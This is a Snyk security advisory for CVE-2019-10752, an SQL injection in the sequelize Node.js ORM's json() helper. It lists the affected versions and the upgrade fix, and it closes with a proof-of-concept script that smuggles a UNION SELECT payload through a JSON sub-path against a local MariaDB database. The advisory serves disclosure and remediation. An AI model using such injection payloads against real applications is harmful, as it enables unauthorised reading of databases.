SQL Injection Affecting sequelize package, versions >=4.0.0 <4.44.3 >=5.0.0-0 <5.15.1
Snyk CVSS
Attack Complexity
Low
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.23% (61st
percentile)
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Test your applications- Snyk ID SNYK-JS-SEQUELIZE-459751
- published 19 Aug 2019
- disclosed 18 Aug 2019
- credit Snyk Security Team
Introduced: 18 Aug 2019
CVE-2019-10752 Open this link in a new tabHow to fix?
Upgrade sequelize to version 4.44.3, 5.15.1 or higher.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to SQL Injection due to sequelize.json() helper function not escaping values properly when formatting sub paths for JSON queries for MySQL, MariaDB and SQLite.
PoC by Snyk
const Sequelize = require('./');
const sequelize = new Sequelize('mysql', 'root', 'root', {
host: 'localhost',
port: '3306',
dialect: 'mariadb',
logging: console.log,
});
class Project extends Sequelize.Model {}
Project.init({
name: Sequelize.STRING,
target: Sequelize.JSON,
}, {
sequelize,
tableName: 'projects',
});
(async () => {
await sequelize.sync();
console.log(await Project.findAll({
where: {name: sequelize.json("target.id')) = 10 UNION SELECT VERSION(); -- ", 10)},
attributes: ['name'],
raw: true,
}));
})();